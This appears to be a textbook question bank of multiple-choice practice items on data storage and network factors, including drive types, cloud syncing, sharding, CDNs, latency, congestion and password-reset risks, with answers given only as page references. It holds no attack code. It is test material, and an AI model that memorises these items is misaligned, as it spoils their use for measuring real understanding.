A video production class has two storage needs: an archive of several terabytes of finished footage that is rarely opened, and working space for current projects that editors read constantly. The budget is limited. Which plan makes the most appropriate use of storage devices?

A. solid-state drives for the archive and hard disk drives for current projects

B. USB flash drives for both, so that footage can move easily between editors

C. hard disk drives for both, since spinning platters read large files the fastest

D. hard disk drives for the archive and solid-state drives for current projects

Answer: page 1040

0003.f.1.2

A technician opens a failed laptop drive and finds no platters, motor, or read head, only a circuit board with memory chips. A drive of this kind most likely stored its data by:

A. keeping them in volatile memory, which a small battery refreshes when the laptop is off.

B. magnetizing tiny sectors on a miniature disk sealed inside each chip.

C. retaining its bits in flash memory, which needs no moving parts or power to keep them.

D. writing optical marks onto a chip surface that a small laser then reads back.

Answer: page 1040

0003.f.1.3

A geologist carries a laptop across rough terrain, where it is often dropped while running. Its drive has failed twice after such falls, each time with a clicking sound. Replacing it with which type of drive most directly addresses the cause of these failures?

A. an external hard disk drive, which sits outside the case and so absorbs no impact

B. a solid-state drive, which has no platter or read head to be damaged by a fall

C. a larger hard disk drive, which has spare sectors to replace any damaged ones

D. a faster hard disk drive, whose platters spin too quickly to be disturbed by a fall

Answer: page 1040

0003.f.1.4

A student must carry a large presentation between home and school, and the school's network often blocks file-sharing sites. Which medium fits this need, and what is its main weakness?

A. a USB drive, which erases its contents once it has been unplugged

B. a cloud folder, which works at school without any network access at all

C. a desktop hard disk, which must be kept level while it is being carried

D. a USB drive, which is small and so easily misplaced along the way

Answer: page 1040

0003.f.1.5

A company's database receives thousands of small read requests per second, scattered across its storage. After the company moves the database from hard disk drives to solid-state drives, response times fall sharply. Which characteristic of the old drives most likely limited performance?

A. the time needed to move a mechanical head to each requested location on a disk

B. the limited number of times that a magnetic platter can be read before wearing out

C. the need to reload all magnetic data into a platter after each read request

D. the small number of bytes that a magnetic platter can hold compared to flash

Answer: page 1040

Units of storage

0003.f.2.1

A school plans to archive 2,000 recorded lessons, each about 500 megabytes, on one external drive. Approximately how much storage will the collection occupy?

A. about 1,000 terabytes

B. about 1 gigabyte

C. about 1 terabyte

D. about 100 gigabytes

Answer: page 1040

0003.f.2.2

An inventory lists four storage devices, with capacities of 2 terabytes, 750 gigabytes, 900 megabytes, and 64,000 kilobytes. Which list orders these capacities from smallest to largest?

A. 900 megabytes, 64,000 kilobytes, 750 gigabytes, 2 terabytes

B. 64,000 kilobytes, 900 megabytes, 750 gigabytes, 2 terabytes

C. 2 terabytes, 750 gigabytes, 900 megabytes, 64,000 kilobytes

D. 64,000 kilobytes, 900 megabytes, 2 terabytes, 750 gigabytes

Answer: page 1040

0003.f.2.3

An Internet plan is advertised at 100 megabits per second. A student downloading a 100-megabyte file on an otherwise idle connection expects it to finish in one second, but it takes about eight. Which statement best accounts for the difference?

A. A file is expanded to eight times its stored size while it travels across the network.

B. Network speed is quoted in bits and file size in bytes, and a byte holds eight of those bits.

C. Packets are verified in both directions, so each part of a file crosses the link eight times.

D. Each megabit holds eight megabytes, so a provider's advertised speed overstates the true rate.

Answer: page 1040

0003.f.2.4

A teacher's phone reports 64 gigabytes of free space, and each photo taken on a field trip occupies about 4 megabytes. Approximately how many more photos will fit on the phone?

A. about 256 photos

B. about 16,000,000 photos

C. about 16,000 photos

D. about 16 photos

Answer: page 1040

0003.f.2.5

A school's backup tool flags any single file larger than one gigabyte for review. Which file from a teacher's account is most likely to be flagged?

A. a one-page letter saved in a simple document format with no images

B. a two-hour high-definition recording of a full school concert

C. a slide deck containing a dozen small photos and a short title page

D. a plain-text file listing the names of every student in the school

Answer: page 1040

Cloud storage

0003.f.3.1

A district moves its files to a cloud provider so that staff can reach them from any school and share them easily. An outage at the provider then blocks access for a day. This outcome most directly illustrates which disadvantage of remote storage?

A. dependence on connectivity and on a provider's service

B. inability of the provider to keep more than one copy

C. limitation of files to a single device at each location

D. responsibility of the district for replacing failed cloud disks

Answer: page 1040

0003.f.3.2

A student edits a lab report on a phone during a bus ride. That evening, the changed report appears on a tablet at home, although the two devices were never in the same place. The report most likely reached the tablet because:

A. the phone's internal drive and the tablet's internal drive form a mirrored pair.

B. the operating system keeps one shared file on all devices made by the same company.

C. the phone sent the report straight to the tablet's internal storage over a short-range signal.

D. both devices connect over the Internet to a copy of the report held on a provider's servers.

Answer: page 1040

0003.f.3.3

A teacher plans to keep students' medical accommodation records in a free online storage account, so that the records can be reached from any classroom. Which question should most influence this plan?

A. whether classroom computers run the same operating system as the provider's servers

B. whether the account has enough space to hold several years of these records

C. whether the provider's security and terms are adequate for protected records

D. whether the service can sync each new record quickly to the teacher's phone

Answer: page 1041

0003.f.3.4

A small business calculates that paying for cloud storage would cost much less this year than buying and maintaining its own servers. Before committing its records to one provider for the long term, which further factor should the owners weigh most carefully?

A. the inability of employees at different sites to open the same cloud files

B. recurring subscription fees and the difficulty of moving data to another provider

C. the transfer of every security duty, including account passwords, to the provider

D. the need to hire staff who can replace failed disks in the provider's data center

Answer: page 1041

0003.f.3.5

A student's laptop is stolen the night before a deadline. On a borrowed computer, the student signs in to an account and retrieves all coursework, including changes made that morning. Which fact best explains why the work survived?

A. The laptop's encrypted drive prevented the thief from erasing any of the coursework.

B. The coursework had also been copied to remote servers, apart from the stolen device.

C. The account password allowed the borrowed computer to read the stolen laptop's drive.

D. The laptop's mirrored pair of internal drives kept a second copy of the coursework.

Answer: page 1041

Local storage

0003.f.4.1

A wildlife photographer spends weeks in areas without Internet access and reviews large image files each evening, using a portable drive rather than an online service. Which responsibility does this arrangement place on the photographer?

A. reviewing the provider's terms regularly, since a provider could change how photos may be used

B. making additional copies of the files, since they could be lost along with the drive

C. replacing the drive every year, since stored data fade after about twelve months

D. keeping a network connection available, since the drive verifies files online before opening them

Answer: page 1041

0003.f.4.2

An archivist keeps the only copy of a local history collection on an office laptop that is never connected to a network. The greatest threat to the collection under this arrangement is:

A. the inability to read the collection during an outage of the building's Internet service.

B. the slow opening of each file, since laptops read data more slowly than networks.

C. the exposure of the files to a provider that could change its service terms.

D. the permanent loss of the only copy of the collection if the laptop fails or is stolen.

Answer: page 1041

0003.f.4.3

A clinic wants to keep direct control over where its patient data reside, and it has technical staff who can maintain equipment. Which storage plan does this most clearly favor?

A. a paid cloud account whose provider maintains and backs up the clinic's files

B. a set of USB drives, one held by each clinician, so that no record leaves the building

C. a content delivery network that places copies of the files in several nearby regions

D. an on-site storage server that the clinic's own staff maintain and back up regularly

Answer: page 1041

0003.f.4.4

A student argues that local storage must be more secure than any cloud service, because the owner physically holds the device. Which response is most accurate?

A. Holding the device adds little control, since cloud providers usually keep a copy of local files.

B. Holding the device greatly reduces the threat from malware, so physical theft is the main remaining risk.

C. Holding the device gives control, but the owner also takes on theft, loss, and upkeep.

D. Holding the device lessens the need for backups, so the owner's main duty is to prevent theft.

Answer: page 1041

0003.f.4.5

During a regional Internet outage, staff at one school keep working from files on a server in their own building, while staff at a neighboring school, whose files are held only by an online provider, cannot open anything. Which statement best explains the difference?

A. The first school's server keeps more copies of each file than a provider keeps.

B. The first school's server has a larger capacity than a provider's data center.

C. The first school's files were encrypted, which keeps files available during outages.

D. Reaching the first school's files does not require a connection outside the school.

Answer: page 1041

Synchronization

0003.f.5.1

Two students edit the same paragraph of a shared report, one on a laptop during a flight and the other on a phone on the ground. When the laptop reconnects, the service flags the paragraph instead of updating it. Which statement best explains why?

A. Different edits were made to the same data while the copies were out of contact.

B. The laptop could not save its changes properly while it had no network connection.

C. Laptops and phones keep documents in formats that are difficult to merge with one another.

D. Each reconnection triggers a review of the paragraphs in a shared file, and one was flagged.

Answer: page 1041

0003.f.5.2

A person adds a contact on a phone, and within minutes it appears on a laptop and a tablet. Later, changing the number on the tablet updates the other two devices. This behavior is designed to:

A. keep one master copy on a single device and remove all others.

B. keep several copies of the same data consistent across devices.

C. reduce the data so that each device needs less storage space.

D. protect the data from being read while it crosses the network.

Answer: page 1041

0003.f.5.3

A family deletes a shared photo folder on one computer to free up space, and the folder then vanishes from every other computer signed in to the same service. A relative had assumed that the other computers served as backups. Which statement best explains the relative's error?

A. A synchronized copy reproduces deletions as well as additions, so it is not independent.

B. A synchronized copy is usually kept in temporary memory, so it disappears along with the original file.

C. A synchronized copy protects documents better than photos, because photos are too large to be retained.

D. A synchronized copy is removed when it has gone unopened for a set period of time.

Answer: page 1041

0003.f.5.4

A note-taking application settles every conflict by keeping whichever version was saved most recently and discarding the other. Two colleagues edit the same note while offline. Which outcome should the developers expect?

A. The two sets of edits are combined line by line once the devices reconnect.

B. Changes in the earlier-saved version disappear with no warning to their author.

C. Both versions are kept side by side, which uses additional storage on each device.

D. The later-saved version is rejected, since it was based on an out-of-date copy.

Answer: page 1041

0003.f.5.5

A team's shared folder copies every change to all members' computers immediately, which consumes much of the office's bandwidth. A manager proposes running the same process once per night instead. Compared to the current arrangement, the proposal would most likely:

A. use less bandwidth during the day, while members work from outdated copies for longer.

B. keep copies about as current, since the nightly pass runs before files are needed.

C. raise daytime traffic, since members would then request files directly from one another.

D. reduce edit conflicts, since fewer versions of each file travel during working hours.

Answer: page 1041

Database partitioning

0003.f.6.1

A national retailer's database has become too large for one server. Most queries involve customers from a single region. Which partitioning strategy would most likely improve query performance?

A. storing each region's customers together on their own separate server

B. storing the newest records on servers until each one becomes full

C. storing each customer's records by the first letter of the first name

D. storing each table's fields on separate servers, in alphabetical order

Answer: page 1041

0003.f.6.2

A logistics company's shipment table no longer fits on one server, so engineers place the rows for each country on a different group of servers, with no row stored twice. Which term names this design?

A. mirroring

B. sharding

C. caching

D. compiling

Answer: page 1041

0003.f.6.3

A hospital's appointment database holds twenty years of records, and engineers store each year's records on separate devices. Nearly all queries ask about the current year. Which result is most likely?

A. Queries return different values, since the division changes the records' contents.

B. Most queries read far less data, since the older years need not be searched at all.

C. Most queries become slower, since each device must be checked before any answer returns.

D. Queries about earlier years become impossible, since those devices are kept offline.

Answer: page 1041

0003.f.6.4

A social network assigns each user's data to a server according to the first letter of the username, with one server per letter. After a year, the servers for a few common letters are nearly full and respond slowly, while others sit mostly idle. Which flaw in the design is most likely responsible?

A. Most requests are still sent to many servers, so the division adds little capacity.

B. Usernames are not spread evenly across letters, so a few servers receive most of the load.

C. Each server keeps copies of its neighbors' data, which leaves little room for new users.

D. Usernames are text, and data is usually divided across devices by numeric values instead.

Answer: page 1042

0003.f.6.5

A company stores its customer orders on a separate group of servers for each region. A monthly report that totals sales across all regions takes far longer than a query about one region, even when the servers are lightly loaded. Which statement best explains the slowdown?

A. The report relies on regional values, which a database finds slowly once rows are divided.

B. The report must gather and combine partial results from many separate devices.

C. The report saves its results in volatile memory, which is slower than a typical disk.

D. The report cannot run until each region's copy is mirrored to the other regions.

Answer: page 1042

Redundant storage

0003.f.7.1

A school's file server keeps identical copies of all data on two drives. When one drive fails, the server keeps running, and a staff member concludes that no separate backup is needed. Which statement identifies the flaw in this reasoning?

A. Identical drives usually store each file in a form that is best read with both present.

B. Keeping two copies protects mainly those files that were encrypted before being written.

C. An accidental deletion or file corruption reaches both drives at the same moment.

D. The remaining drive holds the data only until the failed drive has been replaced.

Answer: page 1042

0003.f.7.2

An office's storage system combines several drives so that a copy of every file exists on more than one of them. The main problem that this design is intended to solve is:

A. keeping files available and intact after one of the drives stops working.

B. speeding up file transfers across a slow connection to the Internet.

C. restoring access to accounts for users who have forgotten their passwords.

D. preventing errors in software from writing incorrect values to the files.

Answer: page 1042

0003.f.7.3

An online store continuously copies its database to a second data center in another state. Which event does this measure most directly address?

A. an employee who enters incorrect prices for an entire product line

B. a flood that shuts down the first data center for a week or longer

C. slow rendering of large product images in customers' web browsers

D. attackers who steal customers' passwords through a fraudulent login page

Answer: page 1042

0003.f.7.4

A bank's database confirms a transaction only after the transaction has been recorded at a second site 3,000 kilometers away. Staff notice that writes became slower after the second site was added, though reads did not. Which explanation is most accurate?

A. Each write must now be converted to a separate data format for the second site.

B. Each write must now be decrypted and encrypted again at every location that stores it.

C. Each write now waits for a copy to cross a very long network link and be confirmed.

D. Each write is now divided among the sites, so that no site holds a full record.

Answer: page 1042

0003.f.7.5

A department with a small budget wants its file server to keep running, with no files lost, if any one drive fails. Which purchase is the most direct fit?

A. a single drive with twice the capacity

B. a faster switch for the department's network

C. a USB drive that is copied to once a month

D. a second drive that mirrors the first one

Answer: page 1042

Content delivery networks

0003.f.8.1

A news site's readers in Europe experience long load times for videos stored on a server in California. The site's owners want to reduce this delay. Which approach most directly addresses the cause?

A. requiring European readers to create user accounts first

B. increasing the storage capacity of the California server

C. rewriting the site's HTML so that it has fewer tags

D. storing copies of the videos on servers in or near Europe

Answer: page 1042

0003.f.8.2

Readers in Asia complain that images on a museum's website load slowly. The museum pays a service that places copies of its popular images on servers across many regions, and load times fall. The improvement occurs mainly because:

A. each image is reduced to a smaller file before it is ever sent.

B. requests are answered from a copy of the data near each reader.

C. each image is encrypted before leaving the museum's own server.

D. the museum's own server receives a higher-bandwidth connection.

Answer: page 1042

0003.f.8.3

A website that serves its images through servers in many regions replaces its logo. Some visitors see the new logo right away, while others, mainly in distant countries, see the old logo for several hours. Which explanation is most likely?

A. The site's firewall holds new image files for a period of one day.

B. The new logo is too large for browsers in those countries to display.

C. Some regional servers are still delivering an earlier copy of the file.

D. Search engines in those countries have not yet indexed the updated logo.

Answer: page 1042

0003.f.8.4

A company is deciding which of its content to place on a service that keeps copies on servers in many regions. Which content would most likely benefit?

A. a popular product video watched by customers around the world

B. a private account note that a single customer reads occasionally

C. a live inventory count that changes several times per second

D. an account balance that must be correct whenever it is viewed

Answer: page 1042

0003.f.8.5

A broadcaster's site failed under heavy traffic during a worldwide final. After it placed its video on servers in many regions, it handled twice that traffic during the next final with no failures. Which effect best explains the improvement?

A. The video is compressed to a fraction of its size, which removes most of the traffic.

B. Each viewer's browser now keeps a complete copy of the site before the final begins.

C. Viewers' requests are combined into one request per region, reducing their total number.

D. Requests are spread among many regional servers, so less load reaches the original one.

Answer: page 1042

Network-attached storage

0003.f.9.1

A small office wants all employees to share files on the local network without using an outside service, and it does not need a general-purpose server. Which device best fits this need?

A. a USB flash drive

B. a content delivery network

C. network-attached storage

D. a wireless access point

Answer: page 1042

0003.f.9.2

An office installs a small box containing several drives, connects it to the office switch, and gives it a network name. Employees' computers can then open and save files on it. The main function of this device is to provide:

A. wireless Internet service throughout the office building.

B. cached copies of web content for users in many regions.

C. shared file storage over the office's own local network.

D. additional processing power for employees' running programs.

Answer: page 1042

0003.f.9.3

A family keeps its only copy of its photos on a storage device connected to the home network, which every computer in the house can reach. To which event does this arrangement leave the photos most exposed?

A. a change in a cloud provider's service terms

B. a shutdown of one of the family's computers

C. a fire or burglary at the family's house

D. an outage of the home's Internet service

Answer: page 1042

0003.f.9.4

A video team in one building regularly exchanges files of hundreds of gigabytes, and its Internet connection is much slower than its office network. Compared to a cloud service, a storage device on the office network would:

A. provide access from any location with little configuration, as the Internet already does.

B. shift most of the duty for repairs and maintenance from the team to the manufacturer.

C. move these files faster, since they would not have to cross the Internet connection.

D. protect the files from local disasters, since the device is separate from the computers.

Answer: page 1042

0003.f.9.5

An office's shared file device has become slow during the busiest hours, although it has plenty of free space and its Internet connection is unaffected. Which factor should be checked first?

A. the speed of the office's connection to its Internet provider

B. the distance from the office to the nearest regional server

C. the traffic on the local network and the demand on the device

D. the strength of the encryption on each employee's password

Answer: page 1043

0003.g Factors affecting networks

Read about this in the content summary: 0003.g, page 126.

Bandwidth and throughput

0003.g.1.1

A school pays for a 1-gigabit connection. On an otherwise idle network, a speed test on a classroom laptop reports about 200 megabits per second. Which statement describes these two figures correctly?

A. The first is the connection's throughput, and the second is its remaining bandwidth.

B. The first is the connection's bandwidth, and the second is its measured throughput now.

C. The first is the connection's bandwidth, and the second is its latency at that moment.

D. The first is the connection's average rate, and the second is the amount lost to jitter.

Answer: page 1043

0003.g.1.2

A campus adds hundreds of users each term. Over two years, monitoring shows available bandwidth shrinking and average delay rising, while tests find no faulty hardware. An administrator should most likely conclude that:

A. user devices are storing too many files for the network to reach.

B. the network's password policy has become too weak for its users.

C. the network is steadily approaching the limit of its capacity.

D. a physical cable is about to fail because of the weather.

Answer: page 1043

0003.g.1.3

For much of the school day, the traffic on a district's main link stays just below the most that the link can carry. Which outcome should users most likely notice?

A. a rise in the link's rated capacity, as equipment adapts to the higher demand

B. a shrinking of stored files, as devices compress data to make room on the link

C. a surge in account takeovers, as heavy traffic turns off the district's login checks

D. a slowdown in responses, as traffic competes for the link's remaining capacity

Answer: page 1043

0003.g.1.4

A team doubles the bandwidth of an office's Internet link, but a remote colleague's video call stays choppy. Tests show that the office link now has ample spare capacity. Which explanation is most likely?

A. Doubling a link's bandwidth also doubles the distance that its data must travel.

B. Another part of the path, such as a slower link further along, is limiting the call.

C. Spare capacity on a link lowers its throughput, since idle links shift to a slower mode.

D. A video call cannot use more than half of any link's capacity, whatever its speed.

Answer: page 1043

0003.g.1.5

A web server's traffic graph shows throughput holding steady through the afternoon while incoming requests double and response times rise. An analyst should most likely conclude that:

A. the server has spare capacity, because its throughput has remained flat all afternoon.

B. the server is lowering its rate on purpose, so as to reduce its use of electrical power.

C. a limit somewhere in the system is preventing it from serving the additional requests.

D. the additional requests are being answered from memory, so no extra data must travel.

Answer: page 1043

Latency, jitter, and packet loss

0003.g.2.1

During a video call, a teacher's voice arrives late but steadily for one student. For another student, the voice arrives at uneven intervals and sounds choppy. For a third student, parts of sentences are missing. Which sequence best names these three problems?

A. latency, jitter, and packet loss

B. bandwidth, throughput, and jitter

C. jitter, latency, and packet loss

D. packet loss, latency, and congestion

Answer: page 1043

0003.g.2.2

Two online meetings have the same average delay of 80 milliseconds. In the first, every packet takes about 80 milliseconds to arrive. In the second, packets take anywhere from 20 to 140 milliseconds. The second meeting differs from the first in its:

A. packet loss, packets that never arrive

B. bandwidth, the amount of data the link can carry

C. jitter, the variation in packet arrival times

D. latency, the typical time one packet takes

Answer: page 1043

0003.g.2.3

A remote school's satellite link adds about half a second to every exchange of data, although its transfer rate is otherwise good. Which use of the link will be most harmed?

A. an overnight backup of the school's student records

B. a scheduled download of a large software update

C. an email message with several attachments included

D. a live video conversation with a classroom in another country

Answer: page 1043

0003.g.2.4

A streaming video application holds several seconds of incoming video in memory before starting playback, even on a fast connection. Which network problem does this technique most directly hide from viewers?

A. the time before the first packet arrives

B. uneven timing in the arrival of video packets

C. a lasting shortage of link capacity all evening

D. the theft of video data along the network

Answer: page 1043

0003.g.2.5

Many voice call systems send audio with a protocol that does not resend packets that go missing, even though this leaves small gaps in the sound. Which reasoning best justifies this design?

A. Resending packets is possible only when both of the callers use wired connections.

B. Missing voice packets are later recovered from the other caller's stored copy of the call.

C. A resent packet would arrive too late to be played at the right moment.

D. Voice packets are too small to be sent a second time over a network.

Answer: page 1043

Congestion

0003.g.3.1

A town's cable Internet service runs well in the morning but slows every evening from about 7 to 10 p.m., when residents stream video. Which factor most likely explains this pattern?

A. congestion from many users sharing limited capacity

B. reduced signal strength caused by the evening's cooler air

C. nightly maintenance on each resident's own laptop

D. increased latency from sending video to farther servers

Answer: page 1043

0003.g.3.2

An apartment building's residents share one Internet connection. At 3 a.m., a large download finishes in minutes. At 8 p.m., the identical download takes an hour, though no equipment is faulty. The delay most likely arises because:

A. the provider rotates the building's network addresses during the evening hours.

B. residents together are demanding more than the shared link can carry then.

C. the file itself has grown larger since the morning because of repeated copying.

D. the file's packets travel a longer physical route after dark each night.

Answer: page 1043

0003.g.3.3

A school's recorded lesson stalls whenever every class streams it over the district's shared link at 10:00. Taking which step would most directly relieve the stalls?

A. changing the wireless password in each classroom, so that fewer laptops reconnect

B. storing a copy on a local server, so that classes no longer use the shared link

C. raising the video's resolution, so that the stalls are less visible to students

D. moving the video to a more powerful server, located in another part of the state

Answer: page 1043

0003.g.3.4

During heavy traffic, a router's queue fills, and it begins discarding packets from a file transfer that uses the Transmission Control Protocol (TCP). The sender detects the missing packets. How does the sender most likely respond?

A. It skips the missing data, since file transfers can tolerate some gaps.

B. It closes the connection, and the file is deleted from the receiving device.

C. It resends the missing data and reduces its sending rate to ease the load.

D. It increases its sending rate, in order to clear the router's queue.

Answer: page 1043

0003.g.3.5

A provider doubles the capacity serving a suburb, and evening slowdowns stop. Within two years, the slowdowns return, though the equipment tests as fault-free and the number of households has not changed. Which explanation is most plausible?

A. Residents have moved to wired connections, which draw more from a shared link.

B. Added capacity raises latency in a way that builds over several years.

C. Installed capacity wears down with age, even when equipment tests as sound.

D. Residents' use of data has grown to fill the added capacity within two years.

Answer: page 1043

Scale and the Internet of Things

0003.g.4.1

A city plans to install thousands of connected parking sensors, each expected to run for a decade on the software installed at the factory. Beyond additional traffic, which concern does this deployment most directly raise?

A. Many devices become potential entry points, and any flaw found in them may stay open for years.

B. The city's other systems will lose their addresses, since sensors reclaim the unused ones.

C. The sensors will slow one another, since wireless devices of one kind must share an address.

D. The sensors will need no authentication, since small devices carry too little data to attract attackers.

Answer: page 1044

0003.g.4.2

A school district that once managed 3,000 computers now has 40,000 connected devices, counting badges, cameras, thermostats, and tablets. Its technicians report a shortage of one resource that each device needs for itself. That resource is most likely:

A. a dedicated link for each device.

B. a domain name for each device.

C. a separate firewall for each device.

D. a network address for each device.

Answer: page 1044

0003.g.4.3

A school plans to connect hundreds of inexpensive smart displays and sensors, few of which will ever receive software updates. Which decision best limits the harm if some of them are taken over?

A. placing them on the same network as student records, so that monitoring is simpler

B. placing them on a separate network segment, kept apart from sensitive student records

C. moving them to a faster link, so that an attack passes through the network quickly

D. giving each one a longer domain name, so that attackers cannot easily locate them

Answer: page 1044

0003.g.4.4

Households in a neighborhood add dozens of small connected devices, such as thermostats, doorbells, and plugs, each of which reports a few kilobytes of data every minute. A network engineer warns that this growth deserves attention. Which reasoning best supports the warning?

A. Each new device lowers the rated capacity of the neighborhood's link by a fixed amount.

B. Each device's reports are stored on the provider's routers, which then run out of space.

C. Small amounts of data from a great many devices add up to significant total traffic.

D. Devices that report data every minute will become unable to receive any incoming data.

Answer: page 1044

0003.g.4.5

A manufacturer stops issuing software updates for a connected thermostat after three years, although the hardware may last fifteen. Which concern is most significant for the home's network?

A. The thermostat will use more bandwidth each year as its software gets older.

B. The thermostat will shut off the home's other devices when its software expires.

C. The thermostat will lose its network address when support for the product ends.

D. Flaws discovered later will stay open on a device connected to the home network.

Answer: page 1044

Emerging wireless technologies

0003.g.5.1

A wireless carrier deploys high-frequency 5G. It builds many sites in downtown areas but few in a rural county nearby. Which technical characteristic most directly encourages this pattern?

A. High-frequency signals travel so far that one tower can serve an entire county.

B. High-frequency signals have a short range, so they require many more cell sites.

C. High-frequency signals interfere with crops and livestock, so rural use is restricted.

D. High-frequency signals carry so little data that only downtown use is worthwhile.

Answer: page 1044

0003.g.5.2

A remote island's Internet service relies on a satellite about 36,000 kilometers above Earth, and users report long pauses in conversation on video calls. A new provider's satellites orbit at about 550 kilometers. The main improvement for users is:

A. lower latency, because signals travel a much shorter distance each way.

B. no receiving equipment, because signals reach phones without any terminal.

C. a wired connection, because satellites link directly to home cables.

D. unlimited bandwidth, because each household gets its own satellite.

Answer: page 1044

0003.g.5.3

A remote community with no wired service and little cellular coverage needs Internet access capable of video calls within a few months. Which technology best fits this need?

A. dial-up access over telephone lines

B. service from low-Earth-orbit satellites

C. fiber expected in several years

D. high-frequency 5G from a single tower

Answer: page 1044

0003.g.5.4

A city council expects a new high-frequency 5G rollout to close the gap in Internet access between its wealthy downtown and its outlying neighborhoods. Which consideration most challenges this expectation?

A. The signal's arrival requires each household to replace the wiring inside its home.

B. The signal's short range makes dense, already well-served areas more attractive to build in.

C. The signal's capacity is too low to carry the data used for ordinary home Internet service.

D. The signal's range is too long for use in dense areas, so downtown will lose service first.

Answer: page 1044

0003.g.5.5

A satellite Internet provider launches thousands of satellites, whereas older services used only a handful. Which characteristic of the provider's design most directly requires this large number?

A. Each satellite must be linked to users' homes by an individual fiber line.

B. Each satellite stays fixed above one city, so each city needs its own.

C. Each household must be assigned a satellite for its exclusive use.

D. Each low satellite covers a small area and moves quickly across it.

Answer: page 1044

Access and geography

0003.g.6.1

A provider lays fiber throughout a dense suburb but not along a rural road with a few homes per mile, even though both areas have similar demand per household. Which factor most directly explains this decision?

A. infrastructure cost per customer is much higher where homes are far apart

B. fiber cable cannot be installed along rural roads

C. rural households have no need for high-speed service

D. long fiber lines have too little capacity for rural homes

Answer: page 1044

0003.g.6.2

A national map of broadband service shows that areas with few homes per square kilometer have the least coverage. Providers' decisions in these areas most likely reflect:

A. the laws that prohibit high-speed service in these sparse areas.

B. the slower computers that are found in schools in these areas.

C. the shortage of network addresses reserved for these sparse areas.

D. the high cost of building networks that serve few paying customers.

Answer: page 1044

0003.g.6.3

A state wants to expand Internet access in communities where private providers do not expect to earn back their construction costs. Which policy most directly addresses this cause?

A. a requirement that websites send less data to visitors from these communities

B. public funding that covers part of the cost of building networks there

C. a requirement that households in these communities buy faster laptops

D. a removal of data caps from service plans in the state's largest cities

Answer: page 1044

0003.g.6.4

Fiber service has been available for several years on two low-income city blocks, yet few households subscribe, and a survey finds that most residents would like to be online. Which conclusion is most supported?

A. The availability of a service does not by itself make that service affordable.

B. The residents have decided that the Internet is of little use at the prices offered.

C. Fiber is unable to serve older buildings like those found in low-income city blocks.

D. Fiber is mainly offered to local businesses, even where it runs past homes.

Answer: page 1044

0003.g.6.5

After providers decline to serve it, a rural community forms a member-owned cooperative to build its own network. Which benefit is most directly related to this form of ownership?

A. Decisions about the network can reflect local needs rather than outside profit targets.

B. The network becomes immune to the weather and to physical damage to its cables.

C. The network no longer needs a connection to the rest of the Internet at any point.

D. The network can operate with no costs for equipment or for ongoing maintenance.

Answer: page 1044

User behavior and networks

0003.g.7.1

A school's network slows after a popular streaming event, and in the same week, several accounts are compromised because users clicked a link in a fake email. Which conclusion best connects these two events?

A. The event's video stream caused the accounts to be compromised.

B. User behavior affects both network load and network security.

C. Stronger hardware would prevent both the load and the phishing.

D. User behavior has no effect on a network that has a firewall.

Answer: page 1044

0003.g.7.2

A district's security log records four staff actions from one week. Which action most directly introduces a security risk to the network?

A. streaming a long training video during the lunch hour

B. printing a class roster on a shared network printer

C. saving a large report to the shared network drive

D. following a link in an unexpected email and signing in

Answer: page 1044

0003.g.7.3

A district's network suffers midmorning traffic spikes, caused by devices all downloading updates at once, and frequent account compromises caused by fraudulent emails. Which pair of actions best addresses both concerns?

A. blocking updates on most devices and requiring monthly changes to user passwords

B. scheduling updates after hours and training staff to recognize fraudulent messages

C. doubling the file server's storage and requiring longer passwords on staff accounts

D. moving updates to a new server and installing faster wireless equipment at each school

Answer: page 1045

0003.g.7.4

After a company requires 16-character passwords that change every month, an audit finds many passwords written on notes attached to monitors. Which lesson does this result best support?

A. User choices have little effect on the security of a company's systems.

B. Long passwords are generally less secure than short passwords in a workplace.

C. A rule should account for how employees will actually respond to it.

D. Written passwords are usually safer than a secret that is kept in memory.

Answer: page 1045

0003.g.7.5

When online classes begin, every student at a university logs in at exactly 9:00, and the login server fails within seconds, though it easily handles the same number of logins spread across a morning. Which change would most directly prevent these failures?

A. staggering class start times, so that logins are spread across the hour

B. requiring longer passwords, so that each login takes students more time

C. moving the login page to a new domain name that is easier to remember

D. requiring students to log in only from computers at the university itself

Answer: page 1045

Reliability factors

0003.g.8.1

A town's Internet service fails whenever storms bring down a single aerial cable that connects the town to the regional network. Which improvement most directly addresses the town's reliability problem?

A. requiring residents to use wired connections in their homes

B. upgrading the existing cable to a higher bandwidth capacity

C. moving the town's web servers to a faster type of processor

D. adding a second connection along a different physical path

Answer: page 1045

0003.g.8.2

A regional provider reviews ten years of outage records to decide where to invest. Which group of causes would this review most likely find behind its network failures?

A. peak streaming, large downloads, and software updates

B. storm damage, power failures, and severed cables

C. slow laptops, full disks, and outdated browsers

D. phishing messages, weak passwords, and shared accounts

Answer: page 1045

0003.g.8.3

A school's network equipment goes offline for several minutes during each brief power flicker, although the equipment itself is undamaged. Taking which step would most directly prevent these interruptions?

A. replacing the network's switches with higher-bandwidth models

B. installing an uninterruptible power supply for the equipment

C. adding a second Internet link along a separate physical route

D. requiring staff to change their network passwords more often

Answer: page 1045

0003.g.8.4

A company buys service from two Internet providers to avoid outages. Both providers' cables run through the same trench, and when a construction crew cuts it, the company loses all connectivity. What does this best illustrate?

A. Two links from different providers conflict, and so they weaken one another.

B. Two links give protection only when their physical paths are fully independent.

C. Two links in underground trenches fail more often than cables mounted in the air.

D. Two links increase bandwidth, but they can never improve reliability at all.

Answer: page 1045

0003.g.8.5

A hospital is choosing between two routers that offer the same speed. Router `A` costs less, while router `B` has a much longer record of running without failure. Which reasoning best supports a choice for this network?

A. router `B`, because equipment failures could interrupt critical services

B. router `B`, because a long service record raises bandwidth over time

C. router `A`, because routers of equal speed are equally likely to fail

D. router `A`, because a less expensive model has fewer parts that can fail

Answer: page 1045

Account recovery and access

0003.g.9.1

A game site lets a locked-out player request a reset link by email. An attacker later gains control of a player's email account. Which consequence follows most directly from the site's design?

A. The attacker can read the player's current game password in an earlier reset message.

B. The site's reset feature stops working for many players until the account is repaired.

C. The game account becomes safer, because the site now sends its messages to the attacker.

D. The attacker can request a link and take over the game account, without knowing its password.

Answer: page 1045

0003.g.9.2

An auditor reviews a site where users who forget their passwords receive an emailed reset link. The auditor notes that the feature makes accounts easier to recover but has a security cost, which is that:

A. each reset message uses up a large share of the site's network bandwidth.

B. the site has no means of learning whether an email address is real.

C. control of a user's mailbox is enough to gain control of the site account.

D. the user's password must be stored in readable form in order to be reset.

Answer: page 1045

0003.g.9.3

A bank wants customers who forget their passwords to regain access, while limiting the risk from stolen email accounts. Which design best fits this goal?

A. emailing the customer's existing password rather than a reset link

B. requiring a code from the customer's phone along with the emailed link

C. allowing a reset by phone if the caller states the customer's birth date

D. sending the same link to the customer's main and backup email accounts

